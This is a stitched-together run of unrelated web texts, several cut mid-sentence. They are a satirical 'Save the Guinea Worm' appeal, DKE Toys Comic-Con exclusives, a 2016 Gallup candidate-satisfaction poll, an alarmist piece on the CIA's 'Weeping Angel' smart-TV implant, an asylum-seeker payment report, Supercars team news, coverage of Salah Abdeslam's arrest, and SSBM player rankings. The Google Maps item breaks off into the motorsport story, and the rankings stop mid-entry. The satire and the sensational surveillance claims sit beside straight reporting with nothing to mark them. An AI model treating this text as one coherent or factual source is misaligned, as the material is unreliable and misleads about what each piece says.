irreparable damage being done to earth's biodiversity by the United Nations' reckless campaign to destroy the Guinea Worm. Urge them to sponsor ammendments protecting the Guinea Worm for all legislation on funding for UNICEF, USAID, and other foreign aid organizations. Talk to your friends and family. Few people are aware of the senseless slaughter of Guinea Worms already underway around the world. The more people who know and are concerned, the more likely politicians will hear us saying STOP! Start a petition drive in your community to make August 7 Save the Guinea Worm Day. . Call local phone-in radio shows to express your concerns that the Guinea Worm is being destroyed. Let as many people know about the Save the Guinea Worm Foundation and International Save the Guinea Worm Day. Encourage your local library to set up an educational, nonpartisan display about the importance of preserving the natural environment and endangered species such as the Guinea Worm. Call your mayor or city council and encourage them to sponsor a resolution supporting Guinea Worm preservation on International Save the Guinea Worm Day. Start a local Guinea Worm Club. Have a member dress as a Guinea Worm mascot and distribute educational literature at local sporting events. Call a local news reporter and tell him/her what you know about the immediate threat faced by the Guinea Worm worldwide. Tell him/her about the "local interest" of what your Guinea Worm Club is doing. If you're really serious about making a difference, join the Preservers. This brave group men and women volunteers to host living Guinea Worms in a valiant effort to preserve the species. Email savetheguineaworm@deadlysins.com for more information on joining this exclusive group. Do you have questions or concerns about our work? We welcome your input.Last year, readers of the site flocked to read the DKE Toys exclusives we featured daily in our “Under The Tents” columns leading up to Comic-Con. They proved so popular that, starting this year, we’ve opted to give the distributor of urban designer vinyl toys and collectibles its own master post, with all of its announced SDCC exclusives in one location for our readers’ convenience. But really, it’s so everyone doesn’t have to go very far to drool over the fantastic vinyl designs the company whips up for this year. We’ll update this post with the DKE announcements as they are released. With that said, bring on the vinyl! [UPDATE July 15] Only one DKE exclusive to announce today, but it’s literally the biggest thing they’ve ever brought to the convention: AD-AT 3 3/4″ scale by Bill McMullen. $650. Over 2 feet tall! Includes carded 3 3/4” Joystik AD-AT Driver Figure. Signed Custom Storage Box. Edition of 10 [UPDATE July 14] Two more awesome carded figures from DKE today, sure to please fans from A Galaxy Far, Far Away… R2-DX by Motorbot. $45 each. Hand made resin figure on card. Edition of 20 And the second for today: D’Jango Uncloned by Good For Your Toys. $55 each. Hand made resin figure on card. Edition of 20. [UPDATE July 13] We have four new DKE exclusives announced today. Here’s the first: DKE Toys SDCC 2014 Release: Necro Klaw by MuscleThings Laboratories. $15 each Hand cast, soft plastic figure. Edition of 100 2″ tall. And on to the second exclusive of the day: Here is Count Draco Knuckleduster by Killer Bootlegs! $100. Hand made resin figure on card. Edition of 25. Art by Wizard Cleave aka Michael York Gilreath Character Design and Concept by Killer Bootlegs aka Peter Goral. And the third exclusive of the day: Boba Fatt by Bombermat. $55 Hand made resin figure on card Edition of 16. And finally, the last DKE exclusive of the day: Jango Fatt by Bombermat. $55 Hand made resin figure on card Edition of 12. If you look up close, you can see Baby Boba Fett. [UPDATE July 12] S.U.C.K.L.E. Rejects Series 1 Set. $30 for set of 4 handmade resin figures. Limited to 100 sets. Based on figures by The Super Sucklord and sculpted by George Gaspar (sort of). To keep up with the SUCKLE universe go to http://sucklefriends.com!! [UPDATE July 11] We have two new DKE exclusives announced today, plus be sure to check out the new gallery images for yesterday’s C-3P-Ho figure by Manly Art. Now on to today’s announcements… Bones by Mike Egan x Killer Bootlegs 3.75″ series – inspired by Star Wars, GI Joe and Adventure People. $100 each. 3 editions of 20. Hand made and painted resin figure by Killer Bootlegs, hand painted card by Mike Egan. And on to the second exclusive of the day: RTF Robo GID Figure. $5 each. Classic MUSCLE Keshi scale figure. Edition of 500. [UPDATE July 10] This one has to be our favorite so far: C-3P-Ho figure by Manly Art. $80 each. Handmade resin figure. Edition of 50. The second toy release from the cult droidsploitation film “Pimp2-D2’s Big Score” is here! C-3P-Ho (See-Threepeeho) is a pleasure droid manufactured by Cybot Galactica. She is Pimp2-D2’s go-to droid. Fluent in 6 million forms of stimulation, she’s always the life of the party. C-3P-Ho might be Pimp2’s favorite, but he’s not the jealous type. He’s always willing to share… for a price! Standing 3.75 inches, featuring a translucent cape and 5 points of articulation, C-3P-Ho’s bound to bring you hours of pleasure! Brought to you by Manly Art (www.ManlyArt.com) and coming to a galaxy near you at SDCC 2014 via DKE Toys Booth 5045. [UPDATE July 9] S.U.C.K.L.E. Series 1.5 exclusive colors: $25 for the set. All 5 Series 1.5 in yellow and orange. Limited to 100 sets of 10 pieces each. Based on figures by The Super Sucklord and sculpted by George Gaspar Featuring 2 different colors of Sad… Alone… Broken… based on Luke Chueh’s figure for the Super Suck Up. [UPDATE July 8] NekoFukurou by Jeff Soto x Blackbook Toy: $80 each. Stackable Japanese vinyl. Blue and Pink editions of 30 each. Each piece is approx 6” tall making an impressive 12” stack when both are purchased. [UPDATE July 7] We’re a couple of days behind with DKE announcements, so let’s get right to it! Astronocchio by Dave Bondi: $65 each. Hand made resin figure. Edition of 25. Signed and numbered. 5” tall SPACECASE by Broken Pigeon: $65 each. Hand made resin figure. Edition of 20. “Limited to 20 pieces, hand cast, hand painted resin figure. This figure is 4 inches tall complete with a custom cardback. mounted with classic blister packaging. Royal blue color way that is also UV reactive. Only 65 dollars” [UPDATE July 5] Toxic Timmy from Retroband: $45 each. Hand painted resin figure. Edition of 50. 2″ tall figure on trading card. [UPDATE July 4] Della Dawn & Aetius Scout by Robin VanValkenburgh: $55 each. Signed and numbered editions of 25 each. Hand cast and ceramic. Della is 9” tall and Aetius is 12” tall. [UPDATE July 3] San Diego Ji Ja 2014 by mr clement: $45 each. Signed and numbered hand painted edition of 25. [UPDATE July 2] Infected Android by Scott Wilkowski and Android Foundry: $70 each. Four editions of 100 pieces each in smoke, red, orange, and blue. DKE Toys SDCC booth #5045 is going to be a hub for handmade art figures this year. Stay tuned for resin figures from: Killer Bootlegs Retroband Kill Manly Art Good For You Toys Broken Pigeon Motorbot MuscleThings Bombermat and this amazing piece from FALCONTOYS http://www.falcontoys.com Butt-Face Figure by FALCONTOYS: $65 each. Hand cast and painted resin figure. Edition of 20. Will you be checking out the DKE Toys booth? Let us know in the comments.Story Highlights Seven in 10 Democrats say someone who is running will make a good president Six in 10 Republicans feel the same way Trump admirers are most satisfied with candidates' attention to issues PRINCETON, N.J. -- By 71% to 59%, more Democrats than Republicans in the U.S. are satisfied that someone is running this year who will make a good president. While this is similar to what Gallup found in May, the latest reading is the first since Hillary Clinton effectively clinched the Democratic nomination. Donald Trump became the inevitable GOP nominee a month earlier. Clinton secured her position as the presumptive Democratic nominee as a result of her victories in the June 7 primaries, while Ted Cruz's departure from the race on May 3 erased any reasonable doubt that Trump would be the Republican nominee. However, the narrowing of each party's field seems to have done more harm to Republicans' views of the field than to Democrats'. Between mid-April and mid-May, spanning the time Cruz suspended his campaign and Trump became the inevitable nominee, the percentage of Republicans and Republican-leaning independents who believe there is a candidate who would make a good president fell from 68% to 56% and has since held near that level. Between mid-May and mid-June, spanning Clinton's clinching of the nomination, the percentage of Democrats and Democratic leaners who believe a good potential president is still running dropped less precipitously, from 77% to 71%. Trump and Clinton Detractors Less Confident a Qualified Candidate Remains Shifts on this question over the past few months mainly reflect the views of Republicans and Democrats who have watched with disappointment as their party's field of candidates has narrowed to an individual they don't like. As recently as April, a majority of Republicans who viewed Trump unfavorably -- 53% -- said there was someone running who would make a good president; however, that was when several other GOP candidates were still in the race. The figure plummeted to 27% in May after Cruz and John Kasich dropped out. Meanwhile, a consistently high percentage of Republican Trump admirers have said there is a good president in the field. Similarly, with Bernie Sanders' path to the Democratic nomination seeming to hit a dead end on June 7, Democrats who have an unfavorable view of Clinton became significantly less likely to say a candidate was running who would make a good president, dropping from 61% in May to 44% this month. The views of those who like Clinton remained solid, with over 80% confident that a good candidate is running. Believe a Candidate Is Running Who Will Make a Good President Based on views of Donald Trump among Republicans/Hillary Clinton among Democrats Apr 15-17, 2016 May 13-15, 2016 Jun 14-15, 2016 % % % Republicans: favorable toward Trump 83 72 75 Republicans: unfavorable toward Trump 53 27 31 Democrats: favorable toward Clinton 75 84 83 Democrats: unfavorable toward Clinton 65 61 44 Gallup Daily Tracking Republicans Slightly More Likely to Be Satisfied With Candidates' Issue Focus Despite Democrats' advantage in perceptions that a good potential president is still in the race for president, the percentage of Republicans who say the candidates are talking about issues they care about reached a record high for the year in June, at 71%. The 61% figure for the Democrats on this question is about where it's been since March. The uptick in Republicans' satisfaction with discussion of the issues this month is almost entirely attributable to an 11-percentage-point increase among those who view Trump favorably, now at 83%. By contrast, 63% of Democrats who view Clinton favorably feel satisfied about the discussion of the issues in June, essentially unchanged from May. Notably, Clinton's Democratic detractors are far more likely to feel satisfied with the issues being addressed than are Trump's Republican detractors, 60% vs. 46%. Percentage Who Say Presidential Candidates Are Talking About Issues They Really Care About Based on views of Donald Trump among Republicans/Hillary Clinton among Democrats Apr 15-17, 2016 May 13-15, 2016 Jun 14-15, 2016 % % % Republicans: favorable toward Trump 75 72 83 Republicans: unfavorable toward Trump 54 45 46 Democrats: favorable toward Clinton 65 67 63 Democrats: unfavorable toward Clinton 46 65 60 Gallup Daily Tracking Bottom Line In the aftermath of Clinton's securing of the delegates needed to become the 2016 Democratic presidential nominee at her party's national convention this summer, slightly fewer Democrats than last month -- 71% now vs. 77% in May -- are satisfied that someone is running who would make a good president. However, the drop in Democrats' satisfaction was somewhat less than the drop seen among Republicans in May after Trump became the presumptive GOP nominee. As a result, after being at parity with Republicans on this measure at the start of the year, Democrats now have an advantage in believing there is a candidate in the race who will make a good president. While Republicans as a whole are more likely than Democrats to be satisfied with the discussion of issues they care about, there is a major breach between pro- and anti-Trump Republicans on this question. Much higher proportions of Trump's Republican admirers than Republican detractors are satisfied with the issues the candidates are talking about. By contrast, there is almost no difference between Democratic admirers and detractors of Clinton on this question. A uniformly modest level of contentment exists that the issues that matter to them are being addressed. Survey Methods Results for this Gallup poll are based on telephone interviews conducted June 14-15, 2016, on the Gallup U.S. Daily survey, with a random sample of 1,021 adults, aged 18 and older, living in all 50 U.S. states and the District of Columbia. For results based on the total sample of national adults, the margin of sampling error is ±4 percentage points at the 95% confidence level. For results based on the total sample of 447 Republicans and independents who lean Republican, the margin of sampling error is ±7 percentage points at the 95% confidence level. For results based on the total sample of 441 Democrats and independents who lean Democratic, the margin of sampling error is ±7 percentage points at the 95% confidence level. All reported margins of sampling error include computed design effects for weighting. Each sample of national adults includes a minimum quota of 60% cellphone respondents and 40% landline respondents, with additional minimum quotas by time zone within region. Landline and cellular telephone numbers are selected using random-digit-dial methods. View survey methodology, complete question responses and trends. Learn more about how the Gallup U.S. Daily works.Operation “Weeping Angel” … This incredible breach of American’s privacy is Developing and unfolding as we write this. Refresh this page for live updates and additions. This has to be one of the largest privacy breaches in world history. The CIA, working with British spy agency MI5, have developed a back door for a smart TV that allows government snooping while the television is turned off. And that may now include live video streaming of your living room and office. Or you think it is turned off. It is actually in fake “dummy” off mode that allows government agencies worldwide to snoop on your conversations. Dubbed “Weeping Angel,” the program employs what is termed the ” Fake-Off mode” and saves the audio files — and now possibly video as well — of your conversations and then a computer algorithm analyzes them for target or hot words. If your conversation mentions keyword like “bomb” or “assassination” or “Allah” your audio files are flagged for HUMINT analysis by CIA analysts and worldwide spies depending on how far reaching this technology is. In a 2014 document detailing future and improvements to the program, CIA officials said they planned to add a feature where the Agency could capture video and video snapshots of people through their televisions. This would put the federal government and the CIA right in your family room and office. The CIA calls this technology a SmartTV Implant. The existing audio technology alone — absent the even more invasive video features — would seem to break several federal laws, including the tenet that the CIA does not conduct domestic spying within the borders of the United States. The target television manufacturer for the technology is Samsung smart TVs and while it has been known publicly that snooping is enabled via certain Samsung models it was never known that there was a fake off mode where conversations could be recorded while the owner thought the appliance was shut off. Enter Weeping Angel. The program allows federal agents to control your television set remotely while you believe it is shut off, including these elements disclosed in a previously classified CIA documents released by Wikileaks:Asylum seekers: A boat with 65 people from Bangladesh, Sri Lanka and Myanmar was intercepted by Australian authorities last month and sent back to Indonesia. "I saw the money, the $5000 was in $100 banknotes," he said. The crew had $30,000 in total, which was wrapped in six black plastic bags, he said. When asked on Tuesday whether Australian officials had recently paid the crew of a boat carrying asylum seekers to stay away from Australia, Immigration Minister Peter Dutton simply said, "No." He refused to answer follow-up questions, citing the government's policy of not commenting on "on-water matters". A letter to the New Zealand government signed by all 65 asylum seekers on board says Australian officials paid the six crew members at least $A7000 each. "Then they take away our better boat and give two small boats that had just a little dry foods like biscuits and chocolates, and they also give very little fuel, just 200 litres for four to five hour journey," the letter says. Nazmul Hassan, a Bangladeshi on board the boat, said he saw the skipper put money in his pocket. He said the crew initially told Australian officials they couldn't go back to Indonesia because they could be jailed for people smuggling. However, after a meeting the captain reportedly said: "We have to go back. Australia want to pay for us." "After they finished the meeting, everyone looked happy and they agreed to the proposal," Mr Hassan said from Inaboi, a hostel in Kupang, Indonesia, where the asylum seekers are being detained. "We didn't say anything because they didn't give us time to talk." The asylum seekers swam ashore after their boat hit rocks near Landuti island in the West Rote district of Indonesia, 500 kilometres north-east of the Australian coast. Mr Hidayat said it was the first time he had heard of Australian payments to people smugglers and that he was surprised the crew members had that amount of cash. "Boat crews are usually very poor," he said. "I even sent the money to their villages upon their request." Mr Hidayat said he had not confiscated the money. "What for? It is not crime-related," he said. "I still wonder who Agus is and what is his motivation to give money to boat crews. Maybe he wanted them to go out of Australian border so he gave them the money." An Immigration Department spokesman said: "The Australian government does not comment on or disclose operational details where this would prejudice the outcome of current or future operations." Former Immigration Department executive Peter Hughes, who now works at the Australian National University as an expert on refugee policies and international migration, said if the payment was true, the move would be unprecedented. "I have never heard of that happening before," Mr Hughes said. In the letter to the New Zealand government, the asylum seekers said they had set off for New Zealand on May 5, after living in Indonesia for a few months. "Then we hope you [New Zealand] can give asylum and you can also give a peaceful life for us," the letter says. It says the boat was intercepted and searched by Australian customs officers on May 17, who warned: "You don't try to come in Australia and don't try to use Australia water area also." The letter says the navy and Customs returned six days later and removed the captain for a secret six-hour interview. It says the asylum seekers were then removed from their boat and kept in jail-like conditions on a navy ship for several days. "Then they separate our six sailors and donated them by giving at least $A7200 per person. They never ask to us any opinions and they also never accept our petition," the letter says. On about May 31, they were then given two smaller boats and sent back to Indonesia. Mr Hassan said Australian authorities had burnt their original boat because it had sufficient supplies for them to continue their journey to New Zealand. Don Rothwell, a professor of international law at the Australian National University, said if money had been handed out, it could be interpreted as a form of people smuggling. However, he questioned the motive of the officials to do it. Professor Rothwell said it was unlikely to breach any laws under the Migration Act. "The great significance is how this decision would be seen in regards of our regional neighbours," he said. "If Australian officials were to pay crews to take those people to Indonesia, I suspect that Indonesia and some other regional neighbours would take a dim view of that conduct from Australia. "I cannot recall any situation where Australian officials have paid crew."Google Maps Google on Tuesday quietly introduced a feature on Google Maps that lets you visit Mars and the moon without ever needing to leave your desk chair. No, the company didn't send its Street View cars into outer space, but Google still provides plenty of geographical details about both planetoids you probably weren't expecting. Some of these features were previously available on Google Earth, as 9to5Google's Stephen Hall points out, but this is the first time they're hitting Google's mapping and navigation app for consumers. The feature is easy enough to use. Simply visit
struggling to attract commercial rate sponsorship since its inception, Tekno has spared few expenses on its equipment, running as a customer of class benchmark Triple Eight. Tekno’s relationship with Triple Eight began through the championship winning team’s recently departed principal Adrian Burgess, who left his position as sporting director at Dick Johnson Racing at the same time that Webb moved his own entry away from DJR. Although recent discussions to pair up with another REC holder are known to have stalled largely due to Tekno’s high-cost model, Webb says there is no intention to change tack. “We’ve had a great relationship with Triple Eight and we intend to continue it,” he said, having already purchased two full cars and a spare chassis from the team this year. “Obviously Adrian stepping away has changed the relationship a little bit, but Roland has been great and bent over backwards to help us the best he can since he took over the team principal role.” Webb added that his squad is still on the lookout for a team principal of its own next season. The role has been filled by Jonathon’s father Steve since Bruce Jenkins’ sudden departure in October. Steve Webb is expected to step away from involvement with the team next year, while soon-to-depart Walkinshaw Racing managing director Steve Hallam is known to be on Tekno’s radar. Regardless of his own driving future, Jonathon Webb believes that Van Gisbergen can be a title contender next season with Tekno. “I don’t think either way it (running one or two cars) is going to affect our performance and where we’re going,” he said. “We’re pretty confident that we can get Shane into a position where he is a championship contender next year regardless.”Incredible images show one of the prime suspects behind the Paris terror attacks being wrestled to the ground by armed police following a raid on his Belgian hideout. Salah Abdeslam, 26, was among the ISIS terror cell that massacred 130 at a rock concert, a football stadium and several cafes in November. After evading French and Belgian authorities for four months, he was today arrested during a siege on his bolthole in the run down Molenbeek district of Brussels. Scroll down for video Further footage showed Abdeslam (pictured, in a white hoodie) being dragged away from the scene by armed police officers Separate footage showed Abdeslam (highlighted) trying to flee his hideout past dozens of armed police officers who shot and detained him Gun shots and explosions were heard while white smoke was seen in the area as police moved in on Abdeslam, who had been on the run for 126 days TV cameras captured a series of explosions (pictured) in the Molenbeek neighbourhood where Abdeslam was captured, after he had already been taken away Footage showed Abdeslam, dressed in a white hooded sweatshirt, trying to run past dozens of police officers before he was shot in the leg. He was one of five suspects, including three that helped hide him from the police, to be arrested today, a French prosecutor has confirmed. He said numerous weapons and ammunition were discovered inside the besieged building. Belgian Prime Minister Charles Michel hailed the arrests as a'success in the fight against terrorism' but serious questions will be asked as to how Abdeslam evaded the authorities for so long. He managed to evade capture for 126 days due to a series of blunders by the police, who have repeatedly raided the Brussels suburbs where he grew up. Officers pulled him over on the night of the attacks on November 13, but released him because he was yet to be identified as a suspect. Just 48 hours later, Belgian police failed to raid a house he was thought to be hiding because of a law prohibiting night time searches. And on Tuesday, he escaped through a skylight as police stormed a flat in the Forest neighbourhood in Brussels where his fingerprints were later discovered. Salah Abdeslam (left), one of the most wanted men in Europe, has been wounded and caught by police (right, an officer at the scene of the raid) Abdeslam was one of five suspects, including three that helped hide him from the police, to be arrested today Abdeslam managed to evade capture for 126 days due to a series of blunders by the police (pictured in Molenbeek today) Police stand guard near a scene of a police operation in the Molenbeek after five suspects were arrested Belgian police outside of Saint-Pierre hospital where Belgium media report fugitive terror suspect Salah Abdeslam could be kept by police French President Francois Hollande (right, with Belgian Prime Minister Charles Michel) confirmed that Abdeslam and two other suspects, described as his accomplices, were arrested today Michel held a joint press conference with French President Francois Hollande who stressed the battle against extremism in western Europe is far from over. We have to go on with our efforts because we are aware there are still connections that lead us to Syria, where the Daesh [ISIS] group wanted these attacks [in Paris] to be organised French President Francois Hollande He said: 'It is not the final conclusion of this story because there have been arrests already and there will have to be more. 'We know the terrorists' network was widespread in Belgium, France, and other countries in Europe, too. 'Until we have arrested all of those who took part, organised and financed the network that carried out the abominable attacks in Paris, our fight will not be over. 'We have to go on with our efforts because we are aware there are still connections that lead us to Syria, where the Daesh [ISIS] group wanted these attacks to be organised. 'It is from Syria that a number of these actors of this atrocity [Paris attacks] started.' Hollande confirmed he has asked for Belgium to extradite Abdeslam to his country, adding: I'm certain of the extradition procedures and I believe he [Abdeslam] should be interrogated and punished in France.' Belgian security forces seal off an area during an anti-terror operation in the Molenbeek neighborhood tonight Locals appear to be gesturing angrily at the police who sealed off a Molenbeek neighbourhood where Abdeslam was arrested After the arrest, French President Francois Hollande stressed the battle against extremism in western Europe is far from over (pictured, police with dogs at the scene) 'We got him,' France's minister for asylum and migration Theo Francken triumphantly announced as a video of Abdeslam being dragged away by police emerged. Police with riot shields cordoned off the area where Abdeslam was arrested and began evacuating locals earlier tonight. They are thought to have continued their operation following his capture. TV cameras filmed a series of explosions and the sound of fresh gunfire in the area at around 6.20pm, more than two hours after the arrest, as police continued to search for suspects after Abdeslam war arrested. After escaping another besieged flat on Tuesday, he was tracked to a home in Molenbeek this afternoon. Special forces are understood to have been monitoring the house for at least 48 hours. It is understood grenades were used in the operation, which unfolded at about 4.30pm. Gun shots and explosions were heard while white smoke was seen in the area as police moved in on Abdeslam, who had been on the run for 126 days. Emergency services were quick to arrive at the scene which was shut down by officers wearing heavy riot gear. Gun shots and explosions were heard while white smoke was seen in the area as police moved in on Abdeslam (officers at the scene during the operation) The police operation in the run down Brussels suburb of Molenbeek continued after Abdeslam's arrest Policemen and dogs block a road near the scene of a police raid in the Molenbeek-Saint-Jean district in Brussels, TV cameras filmed a series of explosions and the sound of fresh gunfire in the area at around 6.20pm Police are continuing to search a nearby area for a third suspect who may have been wounded in today's raid Abdeslam was wounded, and then retreated into a house in Molenbeek with two men. At least one of the other men is wounded, and one may be dead, said the source. He and another wounded suspect were taken to the city’s Saint Pierre Hospital which was last night sealed off behind a security perimeter. A lawyer for the families of those who lost their lives in the Paris massacre have demanded that he is extradited to France immediately. Mr Michel was seen rushing out of a European Council summit in Brussels as news of the raid broke. EU leaders are meeting in the Belgian capital, just five miles from where the anti-terror operation was taking place in Molenbeek. Francois Hollande, who is in Brussels for the EU summit, confirmed that today's police operation was linked to last November's attacks on Paris. Despite Abdeslam's arrest, the police operation was continuing this evening and the army is on the scene, which is near two schools. Masked policemen began evacuating locals after the siege on the extremist hideout in Molenbeek Special operations police evacuate people from an area during a police raid in the Molenbeek Locals in Molenbeek were led away from the scene of the siege as an operation to find a third suspect went on into the evening Police officers guard an entrance of a school during a raid in the Molenbeek neighborhood of Brussels Salah Abdeslam was shot in the leg by police commandos and has been arrested in the district of Molenbeek (pictured) in the Belgian capital Two men are still believed to be holed up in a building in the area and drones are being used as part of the police operation. Fire engines and ambulances were seen driving into the gated complex, which remains under armed police guard, and a helicopter hovered overhead. In addition to Abdeslam, the whereabouts of two Paris attack suspects remains unknown, including fellow Molenbeek resident Mohamed Abrini and a man known under the alias of Soufiane Kayal. The building is owned by the local municipality. The flat where he was arrested is believed to have been rented by the same person since 2009, according to RTBF. Criminal lawyer Sven Mary is said to have accepted the role of defending Abdeslam. He was contacted on Abdeslam's behalf as early as January this year, asking whether he would be willing to defend the terror suspect, it has been reported. It came after the Belgian lawyer told daily newspaper Le Soir in late December: 'If Salah Abdeslam begged me tomorrow, I would accept the role of being his lawyer.' Two men are still believed to be holed up in a building in the area and drones are being used as part of the police operation (pictured, police at the scene) Belgian policemen stand guard in a street during a police action in the Molenbeek district of Brussels Abdeslam's fingerprints were found at the scene of another police raid on a Brussels flat on Tuesday (pictured, police and emergency services at the siege today) Emergency services were quick to arrive at the scene, which was shut down by officers wearing heavy riot gear But the lawyer denied claims that he has already discussed the possibility with Abdeslam himself. 'I have been in contact with someone from his immediate surroundings,' the lawyer said, reported Belgian news site Standaard. 'I want to speak directly with Abdeslam. You must have some sort of contact with the ones you defend, there should be a mutual trust.' This afternoon, the White House revealed that the US had been helping French and Belgian authorities to boost security since November's Paris attacks, and that this would continue. White House spokesman Josh Earnest said the White House used its'significant resources and significant capabilities' to assist the French and the Belgians. He added: 'They have taken steps to try to safeguard their country. We're going to continue to stay in close touch with them on this.' Salah's brother Brahim, who blew himself p in the November Paris attacks, was buried on Thursday in a Brussels cemetery. A third man is thought to be holed up in a building in the area and drones are being used as part of the police operation Police at the scene of a security operation in the Brussels suburb of Molenbeek in Brussels, Belgium Salah's brother Brahim, who died in the November Paris attacks which left 130 people dead, was buried Thursday in a Brussels cemetery Referring to the police operation earlier this week, in which one Islamic gunman was shot dead by a police sniper, Belgian public broadcaster RTBF had said this morning: 'According to our information, it is more than likely that he is one of the two individuals who escaped during the shootout.' It was not the first time Abdeslam had evaded police. It is believed he stayed in Schaerbeek, Belgium, for some weeks following the attacks in the French capital before being tracked down by police today. Eric Van der Sypt said the fugitive may have been at the property for 'days, weeks or months'. Surveillance footage at a petrol station showed him returning by car to Belgium a day after the Paris attacks. He also avoided capture when French police checked his papers shortly before he was listed as wanted. Authorities had been searching for him ever since. Abdeslam was thought to have been the logistic coordinator who rented cars and equipped the gunmen and suicide bombers who targeted bars, restaurants and a music hall in Paris and may have taken part himself. Police operation: The raid happened at this building which is close to two schools in Molenbeek, Brussels Police secure an area during a police raid. Despite Abdeslam's arrest, the police operation was continuing this evening and the army is on the scene Last month a source close to the French inquiry said no DNA from Abdeslam had been found on a suicide belt discovered in the French capital. The explosive belt was found in a dustbin in the southern Parisian suburb of Montrouge on November 23. Telephone data placed Abdeslam in the same area just after the attacks - but the lack of DNA on the belt suggested that he had not worn it. Since mid-November, 11 people have been arrested and charged in Belgium in connection with the killings, with eight remaining in custody. Meanwhile, it was revealed today that an Algerian killed during the anti-terror raid in Brussels earlier this week is on a list of ISIS fighters leaked last week. The 35-year-old Algerian identified as Mohamed Belkaid, who was living illegally in Belgium, had volunteered to commit a suicide bomb attack, according to the Dutch speaking TV channel VRT. Belgium's federal prosecutor declined to comment on the report. Salah Abdeslam was shot in the leg by police commandos and has been captured alive in the district of Molenbeek in the Belgian capital Raid: Abdeslam has now been wounded and captured in a fresh raid conducted by police this afternoon Gun shots and explosions were heard while white smoke was seen in the area as police moved in on Abdeslam, who had been on the run for 126 days Sky News last week claimed to have obtained documents containing the names of 22,000 members of ISIS. According to the VRT report, Belkaid fought in Syria from April 19, 2014 alongside the ISIS jihadists. He went by the nom de guerre Abou Abdel Aziz al-Jazayri (the Algerian). After his return from Syria, he is believed to have passed through Sweden, the TV channel added. Belkaid was killed by a police sniper while trying to shoot at police during a chaotic gun battle on Tuesday in the quiet Forest district in southern Brussels. Next to his body were found an IS flag, a Kalashnikov and a book on Salafism, an extreme form of Islam, investigators said. Belkaid had been unknown to Belgian authorities except for a case of minor theft in 2014, authorities said. How Salah Abdeslam became the world's most wanted man after Paris massacre - but escaped the clutches of police three times Salah Abdeslam became the world's most wanted man after the Paris attacks in November last year. The 26-year-old is a Belgian-born Morocco-Frenchman and grew up in the Belgian town of Molenbeek. He worked for two years as a railway mechanic and in the family business including at a bar set up by his brother Brahim. Salah Abdeslam and suspected accomplice, Hamza Attou, are seen at a petrol station on a motorway between Paris and Brussels, in Trith-Saint-Leger, France on November 14, 2015 Abeslam was reportedly childhood friends with Abdelhamid Abaaoud, the man dubbed as the 'Belgian' mastermind of the Paris attacks. The pair spent time in jail for armed robbery and it is there that it is believed they became radicalised. When his brother Brahim tried to travel to Syria, he was stopped and Abdeslam was questioned by police. Belgian prosecutors later admitted they knew he had been radicalised but didn't flag them up as a security threat to France. For his part in the attacks on Paris, which killed 130, Abdeslam is thought to have rented the cars, the attackers used to drive to the various locations to gun people down. The November 13 attacks in Paris saw ISIS jihadists kill 130 people and injure 352 in a series of shootings and bombings in the French capital Gunmen massacred 90 people when they opened fire in the Bataclan music theatre in Paris during a packed out concert He was described as being the logistics manager and also organised hotels, flats and ammunition. On the night if the attacks, he was caught on CCTV outside a cafe that was targeted. His brother Brahim blew himself up outside the Comptoir Voltaire brasserie in the 11th arrondissement Later, officers pulled over Abdelsam on Saturday morning on the A2 motorway between Paris and Brussels but checked his ID and let him go. He was travelling with two other people, just hours after he abandoned a car containing three Kalashnikov AK-47 assault rifles on the outskirts of the French capital. Salah Abdeslam became the world's most wanted man after the Paris attacks in November last year Detectives soon realised their blunder when they discovered that Abdeslam had rented VW Polo abandoned near the scene of the massacre inside the Bataclan theatre. However, by the time they alerted Belgian authorities the terror suspect had abandoned the car in Molenbeek, Brussels, an area known as the 'jihadi capital of Europe' and disappeared. An international manhunt was launched. In the days after the attacks, Belgian security forces staged several raids in the Molenbeek district of Brussels, where he lived, which has served as a haven for several jihadists in recent decades. But there was no sign of him and he remained on the run for over four months. It is believed he stayed in Schaerbeek, Belgium, for some weeks following the attacks in the French capital before being tracked down by police today Eric Van der Sypt said the fugitive may have been at the property for 'days, weeks or months'. Surveillance footage at a petrol station showed him returning by car to Belgium a day after the Paris attacks.For the second straight year, MeleeItOnMe is ranking every SSBM Player and counting them down on Twitter (#SSBMRank2014 @Meleeitonme), from No. 100 to No. 1. We asked a panel of ~30 players/commentators/figureheads from all across the world to rate the overall level of play for each player in 2014 (From January 2014 –> The Big House 4). This includes evaluating perceived skill in tandem with the tournament results. Rank VGBootCamp \| Austin “Redd” Self \| @Reddd91 Score 70 (53) Main(s) Fox Region: MD/VA 7.058 Tourney Results Apex 2014 MLG Anaheim CEO 2014 Evo 2014 The Big House 4 49th – – – 33rd Summary: The VGBC sponsored Redd is a dangerous Fox main from the MD/VA region. Despite not traveling much during 2014, his technical, smart play still shone at many locals (including Smash at Clarendon and the wildly popular S@X series) and he finished just outside the top 32 at TBH4 near the end of the year. Rank Versus \| Michelangelo “Blea Gelo” Greco \| @VSBleaGelo Score 69 (NEW) Main(s) Luigi Region: Florida 7.058 Tourney Results Apex 2014 MLG Anaheim CEO 2014 Evo 2014 The Big House 4 – 29th 9th – – Summary: Originally from Venezuela and currently residing from Florida, this Luigi player has risen to one of the top of the stacked Floridian food chain, including defeats over Wizzrobe and Lambchops. Rank Josh “Dart!” Niehueser \| @Dart_JTN Score 68 (83) Main(s) Marth Region: Illinois 7.062 Tourney Results Apex 2014 MLG Anaheim CEO 2014 Evo 2014 The Big House 4 – – – – 25th Summary: Dart!–who hails from downstate Illinois–is one of the country’s top Marths. His most notable achievement in 2014 was probably his down-to-the-wire loss against Shroomed at TBH4, but he also continued to place strongly at the Midwest tournaments he attended. Rank Santiago “Lil Fumi” Piñon Score 67 (NEW) Main(s) Fox Region: SoCal 7.070 Tourney Results Apex 2014 MLG Anaheim CEO 2014 Evo 2014 The Big House 4 – 21st – – – Summary: One of SoCal’s hidden bosses, Lil Fumi has an amazing Fox that relies on solid dash dance spacing with consistent technical skill. His MLG run was fantastic, defeating players such as Bladewise, MacD, DEHF, and Pikachad. He’s had some hand and wrist issues recently, but hopefully the rest of the world can see a little more of Lil Fumi in the future. Rank MeleeItOnMe \| Daniel “Tafokints” Lee \| @tafokints Score 66 (61) Main(s) Sheik Region: SoCal 7.090 Tourney Results Apex 2014 MLG Anaheim CEO 2014 Evo 2014 The Big House 4 25th 45th – 49th 49th Summary: In and out of activity, the SoCal native is known for his unorthodox Sheik tricks, and affinity for high-stakes money matches. Where to see him next? He’ll be challenging Slox at the APEX Salty Suite, as New England seeks revenge for the infamous Tian money match the year before. Rank VwS \| Charles “Fuzzyness” Kimmelman \| @FuzzynessUK Score 65 (59) Main(s) Fox Region: UK 7.126 Tourney Results Apex 2014 MLG 